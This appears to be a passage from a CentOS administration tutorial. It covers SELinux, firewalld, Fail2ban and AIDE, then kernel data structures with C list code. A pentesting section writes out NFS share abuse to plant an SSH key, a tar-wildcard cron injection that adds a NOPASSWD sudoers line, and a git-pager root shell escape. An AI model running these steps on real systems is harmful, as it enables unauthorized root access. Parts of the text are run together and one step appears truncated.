# List all available booleansgetsebool -a# Search for Apache-specific booleansgetsebool -a | grep httpd# Allow Nginx/Apache to establish network database connections (persistent across boots)sudo setsebool -P httpd_can_network_connect_db 1
Troubleshooting and Auditing SELinux
SELinux logs policy denials to /var/log/audit/audit.log. Denials are represented by type=AVC.
# Search for SELinux denials in the audit logsudo ausearch -m AVC -ts recent# Use audit2allow to review a denial and display the policy rule needed to resolve itsudo grep "nginx" /var/log/audit/audit.log | audit2allow -m nginx_custom# Generate and apply a custom policy module to resolve a denialsudo grep "nginx" /var/log/audit/audit.log | audit2allow -M nginx_customsudo semodule -i nginx_custom.pp
Manual Creation of Custom SELinux Policy Modules
While audit2allow is standard, enterprise administrators must sometimes construct custom policies manually. This process requires writing a Type Enforcement (.te) source file, compiling it into a binary module (.mod), packaging it (.pp), and loading it into the running kernel.
# 1. Install SELinux development packagessudo dnf install -y checkpolicy# 2. Write the Type Enforcement source file: custom_port.te# This module allows Nginx (httpd_t) to bind to a custom TCP port 9999 (labeled var_t by default)cat << 'EOF' > custom_port.temodule custom_port 1.0;require { type httpd_t; type port_t; class tcp_socket name_bind;}# Allow rule: allow httpd_t to bind to TCP sockets in port_tallow httpd_t port_t:tcp_socket name_bind;EOF# 3. Compile the Type Enforcement source file into a binary modulecheckmodule -M -m -o custom_port.mod custom_port.te# 4. Package the compiled module into a policy package (.pp)semodule_package -o custom_port.pp -m custom_port.mod# 5. Load the custom policy package into the running kernelsudo semodule -i custom_port.pp# 6. Verify that the custom module is loaded successfullysemodule -l | grep custom_port
Firewalld Configuration
CentOS uses firewalld to manage network firewall rules.
Firewalld is zone-based; rules are applied to a network zone (default: public), which is then mapped to interfaces.
# Check firewall statussudo firewall-cmd --state# View active zones and interface mappingssudo firewall-cmd --get-active-zones# List all rules in the public zonesudo firewall-cmd --zone=public --list-all# Open HTTP and HTTPS services permanentlysudo firewall-cmd --permanent --add-service=httpsudo firewall-cmd --permanent --add-service=https# Open a specific port permanently (port 8080 TCP)sudo firewall-cmd --permanent --add-port=8080/tcp# Reload firewall rules to apply changessudo firewall-cmd --reload
Rich Rules
Rich rules allow for complex filtering, such as limiting access to specific IP addresses.
# Only allow SSH connections from IP 192.168.1.100sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.100" service name="ssh" accept'# Block network traffic from subnet 10.0.0.0/24 to port 80sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/24" port port="80" protocol="tcp" reject'# Reload changessudo firewall-cmd --reload
Fail2ban Intrusion Prevention
Fail2ban scans log files (e.g., SSH auth logs) and bans IPs that show signs of malicious activity (e.g., too many failed password attempts).
# 1. Install Fail2ban from EPELsudo dnf install fail2ban -y# 2. Create a local jail configuration overridesudo tee /etc/fail2ban/jail.local << 'EOF'[DEFAULT]bantime = 1hfindtime = 10mmaxretry = 5banaction = firewallcmd-ipset[sshd]enabled = trueport = sshlogpath = %(sshd_log)sbackend = %(sshd_backend)sEOF# 3. Start Fail2ban servicesudo systemctl enable --now fail2ban# 4. Check status of sshd jailsudo fail2ban-client status sshd
AIDE Host-based Intrusion Detection System
AIDE (Advanced Intrusion Detection Environment) is a file and directory integrity checker. It builds a database of file properties (e.g., hashes, permissions, modification times) and flags modifications to alert administrators to potential intrusions.
# 1. Install AIDEsudo dnf install aide -y# 2. Initialize the file integrity databasesudo aide --init# 3. The initial database must be activatedsudo mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz# 4. Perform an integrity check to scan for unauthorized file changessudo aide --check
Ethical Hacking & Pentesting CentOS Servers
In security auditing and penetration testing scenarios (for broader methodology, see Cybersecurity and Ethical Hacking Advanced), security professionals assess CentOS targets using a structured framework:
Reconnaissance (Nmap Scans) --> Service Enumeration --> Exploit Research --> Privilege Escalation
1. Reconnaissance
Run nmap scans against target IPs to map exposed services:
# Run aggressive scan detecting services, OS fingerprint, and default vulnerability scriptsnmap -p- -A 192.168.1.15# Output might reveal open services:# Port 22 (SSH) -> OpenSSH 8.7# Port 80 (HTTP) -> Nginx 1.20# Port 111 (RPC) -> rpcbind# Port 2049 (NFS) -> Network File System
2. Exploiting NFS Share Misconfigurations
If port 2049 (NFS) is open, check what shares are exported:
# List exports from the target servershowmount -e 192.168.1.15# Output: Export list for 192.168.1.15: /var/shared-nfs (everyone)# Mount the remote share locally to inspect filessudo mkdir -p /tmp/target-mountsudo mount -t nfs 192.168.1.15:/var/shared-nfs /tmp/target-mount# If the share contains a user's home directory (e.g., /home/sysadmin):# We can inject our public SSH key into their authorized_keys filessh-keygen -t ed25519 -f /tmp/attacker_key -N ""cat /tmp/attacker_key.pub >> /tmp/target-mount/sysadmin/.ssh/authorized_keys# Connect via SSH as sysadmin without password authenticationssh -i /tmp/attacker_key sysadmin@192.168.1.15
3. Local Privilege Escalation Vectors on CentOS
Once you have initial access as a low-privileged user (e.g., sysadmin), check for privilege escalation vectors to gain root:
SUID Binary Misconfigurations:
Inspect the system for executables with the SUID bit set:
find / -perm -4000 -type f 2>/dev/null
If a binary like /usr/bin/find has the SUID bit set, we can abuse it to execute commands as root (see GTFOBins):
If a cron job uses tar with a wildcard (*) inside a directory that is writable by our low-privileged user, we can exploit tar’s command execution flags:
cd /var/www/html/# Create payload script to add sysadmin to sudoers with NOPASSWDecho "echo 'sysadmin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers" > payload.shchmod +x payload.sh# Inject tar options as filenames in the wildcard pathtouch -- "--checkpoint=1"touch -- "--checkpoint-action=exec=sh payload.sh"# When the cron job runs tar, the wildcard expands to pass the file names as arguments:# tar -czf /backups/web.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh# This executes payload.sh as root.
Sudo Hijacking:
Check what commands you are allowed to run with sudo -l:
sudo -l# Output: (root) NOPASSWD: /usr/bin/git
Escape to a root shell from the git interactive pager:
sudo git help config# Enter "!/bin/sh" at the prompt to drop into a root shell
DSA & System Design in Linux Kernels
How the Kernel Implements Key Data Structures
Linux developers rely on classic data structures (detailed in DSA Algo & System Design and System Design) to manage memory, balance loads, route packets, and allocate system resources under extreme transaction volumes.
1. Red-Black Trees (Self-balancing Binary Search Trees)
A Red-Black tree is a self-balancing binary search tree where nodes are labeled red or black, and balancing rules ensure that the longest path is no more than twice the length of the shortest path.
This structure guarantees O(logN) time complexity for search, insertion, and deletion operations.
In the Linux kernel, the Red-Black tree implementation is defined in <linux/rbtree.h>.
Completely Fair Scheduler (CFS)
The kernel’s default process scheduler (CFS) uses a Red-Black tree to manage the scheduling queue of running tasks.
CFS Scheduling Queue (Red-Black Tree):
[Task C: vruntime=35] (Black)
/ \
(Red) [Task A: vruntime=12] [Task D: vruntime=42] (Red)
\
[Task B: vruntime=20] (Black)
* Leftmost node (Task A) has the lowest virtual runtime and is executed next.
Task nodes are keyed by their virtual execution runtime (vruntime).
The task that has had the least CPU execution time (the leftmost node in the tree) is always chosen to run next.
The kernel caches the leftmost node pointer (rb_leftmost) to achieve O(1) time complexity for retrieving the next task.
Inserting new tasks or updating task parameters occurs in O(logN) time, preventing scheduler thrashing even when thousands of processes are running.
Virtual Memory Area (VMA) Tracking
When a process maps memory (e.g., via mmap), the kernel creates a vm_area_struct object to represent the mapped memory range.
To quickly locate which VMA contains a specific memory address during page faults, the kernel stores a process’s VMAs in a Red-Black tree.
This prevents search operations from stalling execution threads during page fault lookups.
2. Radix Trees
A Radix tree (or trie) is a space-efficient tree data structure where nodes represent common prefixes of keys.
The kernel uses Radix trees to map long integer keys (such as file offset page numbers) to pointers (such as physical page descriptor structures in memory).
Defined in <linux/radix-tree.h>.
Page Cache
When the OS caches file pages in RAM, it needs to map file block offsets (e.g., page 512 of database.db) to the physical page descriptors (struct page).
A Radix tree provides O(K) lookup operations (where K is the key depth, which is constant and independent of the number of items stored in the tree), making page cache lookups extremely fast and caching-efficient.
3. Doubly Linked Lists
The Linux kernel implements circular doubly linked lists in <linux/list.h> using the list_head structure.
Rather than wrapping data payloads inside node structures, the kernel embeds the list_head node directly inside the data structures themselves.
/* The kernel-native list node */struct list_head { struct list_head *next, *prev;};/* Example data structure embedding the list node */struct task_struct { volatile long state; pid_t pid; struct list_head tasks; /* Embed list node to link all active tasks */};
Accessing the Data Structure: container_of Macro
Because the list structures only track pointers to other list_head fields, the kernel uses the container_of macro to calculate the starting memory address of the containing data structure.
This design allows a single list implementation to link diverse data types, avoiding memory allocation overheads for wrapper nodes and reducing cache misses.
C Implementation of Kernel List Traversal
To understand how the kernel iterates over circular doubly linked lists, consider the following C implementation demonstrating list initialization, element insertion, and traversal using the list_for_each macro:
#include <stdio.h>#include <stdlib.h>#include <stddef.h>// Circular doubly linked list nodestruct list_head { struct list_head *next, *prev;};// Inline initialization of list headstatic inline void INIT_LIST_HEAD(struct list_head *list) { list->next = list; list->prev = list;}// Internal helper to add a new node between two known consecutive nodesstatic inline void __list_add(struct list_head *new_node, struct list_head *prev, struct list_head *next) { next->prev = new_node; new_node->next = next; new_node->prev = prev; prev->next = new_node;}// Insert new node after the specified list headstatic inline void list_add(struct list_head *new_node, struct list_head *head) { __list_add(new_node, head, head->next);}// Macro helper to iterate over a list#define list_for_each(pos, head) \ for (pos = (head)->next; pos != (head); pos = pos->next)// Macro helper to retrieve parent struct pointer from member pointer#define list_entry(ptr, type, member) \ ((type *)((char *)(ptr) - offsetof(type, member)))// User application data payload containing the list headstruct process_node { int pid; char name[32]; struct list_head list;};int main() { struct list_head process_list; INIT_LIST_HEAD(&process_list); // Allocate and insert elements struct process_node *p1 = malloc(sizeof(struct process_node)); p1->pid = 101; list_add(&p1->list, &process_list); struct process_node *p2 = malloc(sizeof(struct process_node)); p2->pid = 202; list_add(&p2->list, &process_list); // Traverse the list and retrieve structures struct list_head *iter; struct process_node *entry; printf("Traversing kernel-style linked list:\n"); list_for_each(iter, &process_list) { entry = list_entry(iter, struct process_node, list); printf("Found process node PID: %d\n", entry->pid); } // Free memory (cleanup) free(p1); free(p2); return 0;}
4. Hash Tables
Hash tables map keys to values using a hashing function to compute bucket array indices, providing O(1) average-case lookup performance.
Defined in <linux/hashtable.h>.
Directory Cache (dcache)
Resolving absolute paths to physical disk inodes is slow because it requires filesystem traversals.
The kernel uses a Directory Entry Cache (dentry) hash table to store path translations in memory.
Hashing pathnames allows directories to be located in O(1) time, bypassing heavy disk operations.
Process ID (PID) Table
When system tools request process actions using integer PIDs, the kernel uses a hash table to locate the target task_struct objects in O(1) time, avoiding linear search loops through the process table.
Performance Trade-offs in High-Performance System Designs
Data Structure
Lookup
Insertion
Space Complexity
Kernel Use Cases
System Design Reason
Red-Black Tree
O(logN)
O(logN)
O(N)
CFS Scheduler, VMA Tracking
Guarantees balanced search paths for dynamic range lookups.
Radix Tree
O(1) (Constant K)
O(1) (Constant K)
O(N)
Page Cache, IDR Allocator
Fast, cache-friendly lookups for sparse integer key ranges.
Doubly Linked List
O(N)
O(1)
O(N)
Task Lists, Network Queues
O(1) insertion and deletion without requiring dynamic memory allocations.
Hash Table
O(1) (Average)
O(1) (Average)
O(N)
dcache, PID Lookups
Fastest point lookups, but performance degrades under hash collisions.